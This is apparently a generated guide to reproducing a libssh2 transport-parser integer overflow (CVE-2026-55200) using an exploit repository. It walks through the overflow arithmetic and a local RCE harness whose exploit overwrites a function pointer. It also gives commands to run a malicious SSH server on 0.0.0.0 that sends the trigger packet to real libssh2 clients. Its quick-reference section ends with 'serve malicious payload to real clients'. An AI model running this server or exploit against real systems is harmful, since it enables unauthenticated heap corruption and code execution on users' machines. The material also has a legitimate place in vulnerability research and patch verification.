How to Reproduce the libssh2 Transport Parser Integer Overflow (CVE‑2026‑55200)
The libssh2 transport parser integer overflow occurs when packet_length = 0xffffffff wraps during 32‑bit arithmetic, causing a 19‑byte allocation for a 4.29 GB payload, leading to out‑of‑bounds writes.
The bikini/exploitarium repository provides a complete, self‑contained proof‑of‑concept for CVE‑2026‑55200. This vulnerability affects libssh2's ssh2_transport_read() function in src/transport.c, where packet length validation happens after dangerous arithmetic operations. The following guide walks through arithmetic verification, encrypted packet generation, loopback testing, and a working local RCE demonstration.
Verify the Integer Overflow Arithmetic
The first step reproduces the exact calculation flaw. In poc/cve_2026_55200_probe.c, the repository mirrors libssh2's vulnerable logic:
// Simplified from the vulnerable path in ssh2_transport_read()
uint32_t packet_length = 0xffffffff;
uint32_t mac_len = 0;
uint32_t auth_len = 16;
uint32_t rhs32 = (packet_length + mac_len + auth_len) & 0xffffffff; // = 15
uint32_t total32 = (4 + rhs32) & 0xffffffff; // = 19
To build and run the verifier:
git clone https://github.com/bikini/exploitarium.git
cd exploitarium/libssh2-cve-2026-55200-poc/poc
gcc -std=c11 -Wall -Wextra -O0 -g -o cve_2026_55200_probe cve_2026_55200_probe.c
./cve_2026_55200_probe
Expected output confirms the vulnerability:
vulnerable32_decision=accepted
vulnerable32_allocation=19
fixed32_decision=rejected: out of boundary
native_unpatched_decision=accepted
result=PASS
Why this matters: The library allocates 19 bytes based on the wrapped sum, but later code paths still reference the original packet_length of 0xffffffff (4,294,967,295 bytes). This mismatch is the root cause of the out‑of‑bounds write.
Generate Malformed Encrypted SSH Packets
The Python server in poc/libpwn_cve_2026_55200_server.py implements the full cryptographic pipeline. It performs SSH handshake, derives ChaCha20‑Poly1305 keys, and constructs packets with packet_length = 0xffffffff in the decrypted plaintext.
Run the self‑test to verify the crypto and arithmetic together:
cd ../../poc
python3 libpwn_cve_2026_55200_server.py --self-test
The --self-test flag exercises build_malformed_wire() and model_vulnerable_c_expression() (lines 58‑66), which reproduce the C arithmetic in Python:
def model_vulnerable_c_expression(packet_length, mac_len, auth_len):
rhs32 = (packet_length + mac_len + auth_len) & 0xffffffff # wraps to 15
total32 = (4 + rhs32) & 0xffffffff # wraps to 19
return total32 # allocation size, not the checked length
Success output includes:
[self-test] chacha20-poly1305@openssh.com packet generator
packet_length=0xffffffff (4294967295)
vulnerable_c_expression_accepted=True
vulnerable_c_expression_allocation=19
[self-test] PASS
Loopback Test for End‑to‑End Verification
The --loopback-test option validates the full path from handshake to trigger delivery without requiring an external client:
python3 libpwn_cve_2026_55200_server.py --loopback-test --hold-open 0
This spins up a server thread and client socket pair, performing:
- KEXINIT exchange with curve25519‑sha256
- ECDHE key derivation
- NEWKEYS transition to ChaCha20‑Poly1305 encryption
- Malicious packet injection with
packet_length = 0xffffffff
Success output:
[loopback-test] minimal SSH handshake/key-derivation path
decrypted_trigger_packet_length=0xffffffff (4294967295)
encrypted_trigger_fragment_len=...
[loopback-test] PASS
This confirms that a real libssh2 client would decrypt the trigger packet and proceed to the vulnerable allocation path in src/transport.c:ssh2_transport_read().
Local RCE Proof‑of‑Concept
The repository includes a controlled harness demonstrating code execution after the overflow. The components are:
poc/libpwn_local_rce_harness.c— Allocates 19 bytes using the vulnerable formula, then copiespacket_length - 1bytes into itpoc/libpwn_local_rce_exploit.py— Crafts input to overwrite a function pointer and redirect execution
Build and execute the RCE demo:
gcc -O0 -g -Wall -Wextra -o libpwn_local_rce_harness poc/libpwn_local_rce_harness.c
python3 libpwn_local_rce_exploit.py \
--harness ./libpwn_local_rce_harness \
--proof ./libpwn_rce_proof.txt
cat libpwn_rce_proof.txt
Verified output:
RCE_PROOF=PASS
libpwn-rce-verified
Exploitation mechanism: The harness's malloc(19) returns a small heap chunk. The subsequent memcpy of 0xffffffff - 1 bytes overflows into adjacent metadata, overwriting a stored callback pointer. The exploit driver precomputes a payload address that creates the proof file upon invocation.
Target Real libssh2 Clients
To test against actual vulnerable binaries, launch the malicious server:
python3 libpwn_cve_2026_55200_server.py --serve \
--listen-host 0.0.0.0 \
--listen-port 2222 \
--packet-length 0xffffffff \
--body-len 8 \
--filler-len 64
Server operation flow:
- Accepts TCP connection on port 2222
- Completes SSH handshake with connecting client
- Sends encrypted trigger packet with
packet_length = 0xffffffffin plaintext - Holds connection open for
--hold-openseconds (default: 1)
Diagnostic output:
[+] sent malformed chacha/poly1305 trigger at server seq=6
[+] trigger bytes=64 packet_length=0xffffffff
A vulnerable libssh2 client will allocate 19 bytes, then attempt to process 4.29 GB of payload data, causing heap corruption and potential code execution.
Quick Reference Commands
# 1. Verify arithmetic
gcc -std=c11 -Wall -Wextra -O0 -g -o probe poc/cve_2026_55200_probe.c && ./probe
# 2. Self-test crypto scaffold
python3 poc/libpwn_cve_2026_55200_server.py --self-test
# 3. Loopback end-to-end test
python3 libpwn_cve_2026_55200_server.py --loopback-test --hold-open 0
# 4. Build and run RCE harness
gcc -O0 -g -Wall -Wextra -o harness poc/libpwn_local_rce_harness.c
python3 poc/libpwn_local_rce_exploit.py --harness ./harness --proof proof.txt
# 5. Serve malicious payload to real clients
python3 libpwn_cve_2026_55200_server.py --serve --listen-host 0.0.0.0 --listen-port 2222
Summary
- Root cause: 32‑bit integer overflow when adding
packet_length + mac_len + auth_lenbefore bounds checking againstLIBSSH2_PACKET_MAXPAYLOADinsrc/transport.c - Vulnerable value:
packet_length = 0xffffffffwraps allocation to 19 bytes while preserving original 4.29 GB length for later use - Key reproduction files:
poc/cve_2026_55200_probe.c— standalone arithmetic verifierpoc/libpwn_cve_2026_55200_server.py— full SSH server with crypto and self‑testpoc/libpwn_local_rce_harness.c+poc/libpwn_local_rce_exploit.py— controlled RCE demonstration
- Upstream fix: Add
if (packet_length > LIBSSH2_PACKET_MAXPAYLOAD) return -1guard before any arithmetic (commit97acf3dfda80c91c3a8c9f2372546301d4a1a7a8)
Frequently Asked Questions
What versions of libssh2 are affected by CVE‑2026‑55200?
All versions prior to the fix commit 97acf3dfda80c91c3a8c9f2372546301d4a1a7a8 are vulnerable. The bug exists in the transport parser's length validation logic, specifically in ssh2_transport_read() within src/transport.c. Versions using 32‑bit arithmetic for packet length calculations are exploitable regardless of platform bitness.
Why does the allocation wrap to exactly 19 bytes?
The calculation follows: (4 + ((0xffffffff + 0 + 16) & 0xffffffff)) & 0xffffffff. Step by step: 0xffffffff + 16 = 0x0000000f (wraps to 15), then 4 + 15 = 19. The constant 4 accounts for the packet length field itself, while 16 is the Poly1305 authentication tag length. This 19‑byte allocation is tiny compared to the claimed 4.29 GB payload.
Can this vulnerability be exploited remotely without authentication?
Yes. The malformed packet is sent after the SSH handshake completes and encryption keys are established, but before any user authentication occurs. The server in libpwn_cve_2026_55200_server.py demonstrates this by completing KEXINIT, ECDHE, and NEWKEYS exchanges before delivering the trigger.
How does the fix prevent the integer overflow?
The patched code validates packet_length against LIBSSH2_PACKET_MAXPAYLOAD (32768 bytes) immediately upon decryption, rejecting oversized values before any arithmetic operations. This prevents the 32‑bit wrap because the check occurs on the raw decrypted value, not on the result of additions.
Have a question about this repo?
These articles cover the highlights, but your codebase questions are specific. Give your agent direct access to the source. Share this with your agent to get started:
curl -s "https://instagit.com/install.md" Maintain an open-source project? Get it listed too →